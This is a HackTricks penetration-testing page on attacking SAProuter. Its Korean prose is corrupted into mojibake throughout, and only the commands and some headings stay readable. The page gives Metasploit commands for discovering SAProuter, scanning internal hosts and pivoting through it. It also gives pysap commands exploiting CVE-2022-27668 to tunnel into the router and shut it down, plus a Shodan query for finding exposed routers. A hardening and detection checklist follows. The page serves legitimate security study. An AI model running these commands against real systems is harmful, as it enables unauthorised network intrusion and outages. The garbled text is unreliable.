# 3299/tcp - Pentesting SAProuter

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ
PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

์ด๊ฒƒ์€ https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/์˜ ๊ฒŒ์‹œ๋ฌผ ์š”์•ฝ์ž…๋‹ˆ๋‹ค.

Metasploit์„ ์ด์šฉํ•œ SAProuter ์นจํˆฌ ์ดํ•ดํ•˜๊ธฐ

SAProuter๋Š” SAP ์‹œ์Šคํ…œ์„ ์œ„ํ•œ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ ์—ญํ• ์„ ํ•˜๋ฉฐ, ์ฃผ๋กœ ์ธํ„ฐ๋„ท๊ณผ ๋‚ด๋ถ€ SAP ๋„คํŠธ์›Œํฌ ๊ฐ„์˜ ์ ‘๊ทผ์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ TCP ํฌํŠธ 3299๋ฅผ ํ†ตํ•ด ์กฐ์ง์˜ ๋ฐฉํ™”๋ฒฝ์„ ํ†ต๊ณผํ•˜์—ฌ ์ธํ„ฐ๋„ท์— ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ SAProuter๋ฅผ ์นจํˆฌ ํ…Œ์ŠคํŠธ์˜ ๋งค๋ ฅ์ ์ธ ๋Œ€์ƒ์œผ๋กœ ๋งŒ๋“ค๋ฉฐ, ๊ณ ๊ฐ€์น˜ ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ๋กœ์˜ ๊ฒŒ์ดํŠธ์›จ์ด ์—ญํ• ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์Šค์บ๋‹ ๋ฐ ์ •๋ณด ์ˆ˜์ง‘

์ดˆ๊ธฐ์—๋Š” sap_service_discovery ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฃผ์–ด์ง„ IP์—์„œ SAP ๋ผ์šฐํ„ฐ๊ฐ€ ์‹คํ–‰ ์ค‘์ธ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์Šค์บ”์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‹จ๊ณ„๋Š” SAP ๋ผ์šฐํ„ฐ์˜ ์กด์žฌ์™€ ์—ด๋ฆฐ ํฌํŠธ๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run

๋ฐœ๊ฒฌ ํ›„, sap_router_info_request ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ SAP ๋ผ์šฐํ„ฐ์˜ ๊ตฌ์„ฑ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์กฐ์‚ฌ๊ฐ€ ์ˆ˜ํ–‰๋˜์–ด ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ž ์žฌ์ ์œผ๋กœ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค.

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run

๋‚ด๋ถ€ ์„œ๋น„์Šค ์—ด๊ฑฐํ•˜๊ธฐ

ํš๋“ํ•œ ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ ํ†ต์ฐฐ๋ ฅ์„ ๋ฐ”ํƒ•์œผ๋กœ, sap_router_portscanner ๋ชจ๋“ˆ์€ SAProuter๋ฅผ ํ†ตํ•ด ๋‚ด๋ถ€ ํ˜ธ์ŠคํŠธ์™€ ์„œ๋น„์Šค๋ฅผ ํƒ์ƒ‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์–ด ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ ๋ฐ ์„œ๋น„์Šค ๊ตฌ์„ฑ์— ๋Œ€ํ•œ ๋” ๊นŠ์€ ์ดํ•ด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN

์ด ๋ชจ๋“ˆ์€ ํŠน์ • SAP ์ธ์Šคํ„ด์Šค์™€ ํฌํŠธ๋ฅผ ํƒ€๊ฒŸํŒ…ํ•˜๋Š” ์œ ์—ฐ์„ฑ ๋•๋ถ„์— ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ ํƒ์ƒ‰์— ํšจ๊ณผ์ ์ธ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

๊ณ ๊ธ‰ ์—ด๊ฑฐ ๋ฐ ACL ๋งคํ•‘

์ถ”๊ฐ€ ์Šค์บ”์„ ํ†ตํ•ด SAProuter์—์„œ ์•ก์„ธ์Šค ์ œ์–ด ๋ชฉ๋ก(ACL)์ด ์–ด๋–ป๊ฒŒ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”์ง€, ์–ด๋–ค ์—ฐ๊ฒฐ์ด ํ—ˆ์šฉ๋˜๊ฑฐ๋‚˜ ์ฐจ๋‹จ๋˜๋Š”์ง€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋Š” ๋ณด์•ˆ ์ •์ฑ…๊ณผ ์ž ์žฌ์  ์ทจ์•ฝ์ ์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN

๋‚ด๋ถ€ ํ˜ธ์ŠคํŠธ์˜ ๋ธ”๋ผ์ธ๋“œ ์—ด๊ฑฐ

SAProuter์—์„œ ์ง์ ‘์ ์ธ ์ •๋ณด๊ฐ€ ์ œํ•œ๋œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ๋ธ”๋ผ์ธ๋“œ ์—ด๊ฑฐ์™€ ๊ฐ™์€ ๊ธฐ์ˆ ์„ ์ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ ๋‚ด๋ถ€ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„์˜ ์กด์žฌ๋ฅผ ์ถ”์ธกํ•˜๊ณ  ํ™•์ธํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜์—ฌ ์ง์ ‘์ ์ธ IP ์ฃผ์†Œ ์—†์ด ์ž ์žฌ์ ์ธ ๋Œ€์ƒ์„ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค.

์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ์ •๋ณด ํ™œ์šฉ

๋„คํŠธ์›Œํฌ๋ฅผ ๋งคํ•‘ํ•˜๊ณ  ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์„œ๋น„์Šค๋ฅผ ์‹๋ณ„ํ•œ ํ›„, ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋‹ด๋‹น์ž๋Š” Metasploit์˜ ํ”„๋ก์‹œ ๊ธฐ๋Šฅ์„ ํ™œ์šฉํ•˜์—ฌ SAProuter๋ฅผ ํ†ตํ•ด ๋‚ด๋ถ€ SAP ์„œ๋น„์Šค์˜ ์ถ”๊ฐ€ ํƒ์ƒ‰ ๋ฐ ์•…์šฉ์„ ์œ„ํ•ด ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

๊ฒฐ๋ก 

์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ ์•ˆ์ „ํ•œ SAProuter ๊ตฌ์„ฑ์˜ ์ค‘์š”์„ฑ์„ ๊ฐ•์กฐํ•˜๊ณ , ๋ชฉํ‘œ ์ง€ํ–ฅ์ ์ธ ์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ํ†ตํ•ด ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ๋ถ€๊ฐ์‹œํ‚ต๋‹ˆ๋‹ค. SAP ๋ผ์šฐํ„ฐ๋ฅผ ์ ์ ˆํžˆ ๋ณดํ˜ธํ•˜๊ณ  ๋„คํŠธ์›Œํฌ ๋ณด์•ˆ ์•„ํ‚คํ…์ฒ˜์—์„œ์˜ ์—ญํ• ์„ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์€ ๋ฌด๋‹จ ์ ‘๊ทผ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

Metasploit ๋ชจ๋“ˆ ๋ฐ ์‚ฌ์šฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” Rapid7์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋ฐฉ๋ฌธํ•˜์„ธ์š”.


์ตœ๊ทผ ์ทจ์•ฝ์  (2022-2025)

CVE-2022-27668 โ€“ ๋ถ€์ ์ ˆํ•œ ์ ‘๊ทผ ์ œ์–ด โžœ ์›๊ฒฉ ๊ด€๋ฆฌ ๋ช…๋ น ์‹คํ–‰

2022๋…„ 6์›” SAP๋Š” SAProuter(๋ชจ๋“  ์ปค๋„ โ‰ฅ 7.22)์˜ ์น˜๋ช…์ ์ธ ๊ฒฐํ•จ(CVSS 9.8)์„ ๋‹ค๋ฃฌ ๋ณด์•ˆ ๋…ธํŠธ 3158375๋ฅผ ๋ฐœํ‘œํ–ˆ์Šต๋‹ˆ๋‹ค. ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๋Š” ํ—ˆ์šฉ๋œ saprouttab ํ•ญ๋ชฉ์„ ์•…์šฉํ•˜์—ฌ ์›๊ฒฉ ํ˜ธ์ŠคํŠธ์—์„œ ๊ด€๋ฆฌ ํŒจํ‚ท(์˜ˆ: shutdown, trace-level, connection-kill)์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ผ์šฐํ„ฐ๊ฐ€ -X ์›๊ฒฉ ๊ด€๋ฆฌ ์˜ต์…˜ ์—†์ด ์‹œ์ž‘๋˜์—ˆ์„ ๋•Œ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ด ๋ฌธ์ œ๋Š” ์ง€์ •๋˜์ง€ ์•Š์€ ์ฃผ์†Œ 0.0.0.0์„ ํƒ€๊ฒŸ์œผ๋กœ ํ•˜์—ฌ ๋ผ์šฐํ„ฐ์˜ ์ž์ฒด ๋ฃจํ”„๋ฐฑ ์ธํ„ฐํŽ˜์ด์Šค๋กœ ํ„ฐ๋„์„ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ํ„ฐ๋„์ด ์„ค์ •๋˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋กœ์ปฌ ํ˜ธ์ŠคํŠธ ๊ถŒํ•œ์„ ์–ป๊ณ  ๋ชจ๋“  ๊ด€๋ฆฌ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์ œ ์•…์šฉ์€ pysap ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ์žฌํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0    -r 3299 \
-a 127.0.0.1  -l 3299 -v

# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299

์˜ํ–ฅ์„ ๋ฐ›๋Š” ๋ฒ„์ „

  • ๋…๋ฆฝํ˜• SAProuter 7.22 / 7.53
  • ์ปค๋„ 7.49, 7.77, 7.81, 7.85โ€“7.88 (KRNL64NUC/UC ํฌํ•จ)

์ˆ˜์ • / ์™„ํ™”

  1. SAP ๋…ธํŠธ 3158375์™€ ํ•จ๊ป˜ ์ œ๊ณต๋œ ํŒจ์น˜๋ฅผ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  2. saprouttab์˜ P ๋ฐ S ๋ผ์ธ์—์„œ ์™€์ผ๋“œ์นด๋“œ(*) ๋Œ€์ƒ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  3. ๋ผ์šฐํ„ฐ๊ฐ€ -X ์˜ต์…˜ ์—†์ด ์‹œ์ž‘๋˜๊ณ  ์ธํ„ฐ๋„ท์— ์ง์ ‘ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

์—…๋ฐ์ดํŠธ๋œ ๋„๊ตฌ ๋ฐ ํŠธ๋ฆญ

  • pysap โ€“ ์ ๊ทน์ ์œผ๋กœ ์œ ์ง€ ๊ด€๋ฆฌ๋˜๋ฉฐ, ์‚ฌ์šฉ์ž ์ •์˜ NI/Router ํŒจํ‚ท์„ ์ œ์ž‘ํ•˜๊ฑฐ๋‚˜ ACL์„ ํผ์ง•ํ•˜๊ฑฐ๋‚˜ CVE-2022-27668 ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด router_portfw.py, router_admin.py ๋ฐ router_trace.py๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • Nmap โ€“ ์‚ฌ์šฉ์ž ์ •์˜ SAProuter ํ”„๋กœ๋ธŒ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์„œ๋น„์Šค ํƒ์ง€๋ฅผ ํ™•์žฅํ•ฉ๋‹ˆ๋‹ค:
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/

NSE ์Šคํฌ๋ฆฝํŠธ ๋˜๋Š” --script=banner์™€ ๊ฒฐํ•ฉํ•˜์—ฌ ๋ฐฐ๋„ˆ ๋ฌธ์ž์—ด(SAProuter <ver> on '<host>')์„ ์œ ์ถœํ•˜๋Š” ๋ฒ„์ „์„ ๋น ๋ฅด๊ฒŒ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.

  • Metasploit โ€“ ์œ„์— ํ‘œ์‹œ๋œ ๋ณด์กฐ ๋ชจ๋“ˆ์€ pysap๋กœ ์ƒ์„ฑ๋œ SOCKS ๋˜๋Š” NI ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ์—ฌ์ „ํžˆ ์ž‘๋™ํ•˜์—ฌ ๋ผ์šฐํ„ฐ๊ฐ€ ์ง์ ‘ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜๋”๋ผ๋„ ์ „์ฒด ํ”„๋ ˆ์ž„์›Œํฌ ํ†ตํ•ฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๊ฐ•ํ™” ๋ฐ ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • ๊ฒฝ๊ณ„ ๋ฐฉํ™”๋ฒฝ์—์„œ ํฌํŠธ 3299/TCP๋ฅผ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค โ€“ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” SAP ์ง€์› ๋„คํŠธ์›Œํฌ์—์„œ๋งŒ ํŠธ๋ž˜ํ”ฝ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • SAProuter๋ฅผ ์™„์ „ํžˆ ํŒจ์น˜ ์ƒํƒœ๋กœ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค; saprouter -v๋กœ ํ™•์ธํ•˜๊ณ  ์ตœ์‹  ์ปค๋„ ํŒจ์น˜ ์ˆ˜์ค€๊ณผ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค.
  • saprouttab์—์„œ ์—„๊ฒฉํ•˜๊ณ  ํ˜ธ์ŠคํŠธ ํŠน์ • ํ•ญ๋ชฉ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค; * ์™€์ผ๋“œ์นด๋“œ๋ฅผ ํ”ผํ•˜๊ณ  ์ž„์˜์˜ ํ˜ธ์ŠคํŠธ๋‚˜ ํฌํŠธ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” P/S ๊ทœ์น™์„ ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค.
  • ์„œ๋น„์Šค ์‹œ์ž‘ ์‹œ -S <secudir> + SNC๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™” ๋ฐ ์ƒํ˜ธ ์ธ์ฆ์„ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.
  • ์›๊ฒฉ ๊ด€๋ฆฌ(-X)๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ , ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ๋ฆฌ์Šค๋„ˆ๋ฅผ 127.0.0.1์— ๋ฐ”์ธ๋”ฉํ•˜๊ณ  ํ•„์š”ํ•œ ํŠธ๋ž˜ํ”ฝ์„ ์œ„ํ•ด ์™ธ๋ถ€ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ์˜์‹ฌ์Šค๋Ÿฌ์šด ROUTER_ADM ํŒจํ‚ท์ด๋‚˜ 0.0.0.0์— ๋Œ€ํ•œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ NI_ROUTE ์š”์ฒญ์„ ์œ„ํ•ด dev_rout ๋กœ๊ทธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค.

์ฐธ์กฐ

Shodan

  • port:3299 !HTTP Network packet too big

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ